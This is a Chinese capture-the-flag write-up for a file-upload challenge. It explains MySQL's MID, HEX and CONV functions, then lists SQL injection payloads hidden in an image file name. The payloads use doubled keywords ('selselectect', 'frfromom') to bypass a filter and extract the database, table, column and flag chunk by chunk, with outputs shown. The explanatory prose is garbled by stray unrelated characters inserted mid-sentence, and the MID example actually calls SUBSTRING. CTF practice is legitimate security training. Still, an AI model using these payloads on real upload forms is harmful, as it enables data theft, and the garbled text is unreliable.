upload
sql注入
【原理】
首先先了解幾個(gè)函數(shù)的意義:
mid(),hex(),conv()
mid():MID(str,pos,len)
從字符串str返回一個(gè)len個(gè)字符的子串港华,從位置pos開始悯仙。使用FROM的變種形式是ANSI SQL92語法骑科。
mysql> select SUBSTRING('Quadratically',5,6);
? ? -> 'ratica'
hex():返回十六進(jìn)制值N一個(gè)字符串的表示,在此N是一個(gè)長(zhǎng)整型(BIGINT)數(shù)字滑绒,這等價(jià)于CONV(N,10,16)。如果N是NULL,返回NULL晤揣。
mysql> select HEX(255);
? ? -> 'FF'
CONV(N,from_base,to_base)
在不同的數(shù)字基數(shù)之間轉(zhuǎn)換數(shù)字。將數(shù)字 N 從from_base 轉(zhuǎn)換到 to_base朱灿,并以字符串形式返回昧识。如果任何一個(gè)參數(shù)為 NULL,那么返回值也為 NULL盗扒。參數(shù) N 被解釋為是一個(gè)整數(shù)跪楞,但是也可以被指定為一個(gè)整數(shù)或一個(gè)字符串。最小基為 2侣灶,最大基為 36甸祭。如果 to_base 是一個(gè)負(fù)值,N 將被看作為是一個(gè)有符號(hào)數(shù)字褥影。否則池户,N 被視為是無符號(hào)的。CONV 以 64 位精度工作凡怎。
mysql> select conv(100,10,2);
+----------------+
| conv(100,10,2) |
+----------------+
| 1100100 |
+----------------+
---------------------
【步驟】
圖片的文件名可以造成注入
因?yàn)檫@個(gè)題目對(duì)select from 有過濾校焦,所以用 selselectect frfromom 代替
構(gòu)造payload
查詢數(shù)據(jù)庫:
sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
返回:sql 131277325825392 => web_up
sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
返回:sql 1819238756 => load
拼接起來得知數(shù)據(jù)庫名為:web_upload
然后查表:
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom
information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit
1,1)),1,12),16,10))+'.jpg
返回:sql 114784820031327 => hello_
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom
information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit
1,1)),13,12),16,10))+'.jpg
返回:sql 112615676665705 => flag_i
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom
information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit
1,1)),25,12),16,10))+'.jpg
返回:sql 126853610566245 => s_here
拼接起來得知存放flag的表名為:hello_flag_is_here
然后查這個(gè)表里有什么字段:
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom
information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit
0,1)),1,12),16,10))+'.jpg
返回:sql 115858377367398 => i_am_f
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom
information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit
0,1)),13,12),16,10))+'.jpg
返回:sql 7102823=> lag
拼接起來得知存放flag的字段是:i_am_flag
然后查詢flag:
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
返回: sql 36427215695199 => !!_@m_
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
返回:sql 92806431727430=> Th.e_F
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
返回: sql 560750951=> !lag
拼起來之后得到flag:!!_@m_Th.e_F!lag
參考https://blog.csdn.net/niexinming/article/details/49888893?utm_source=blogxgwz0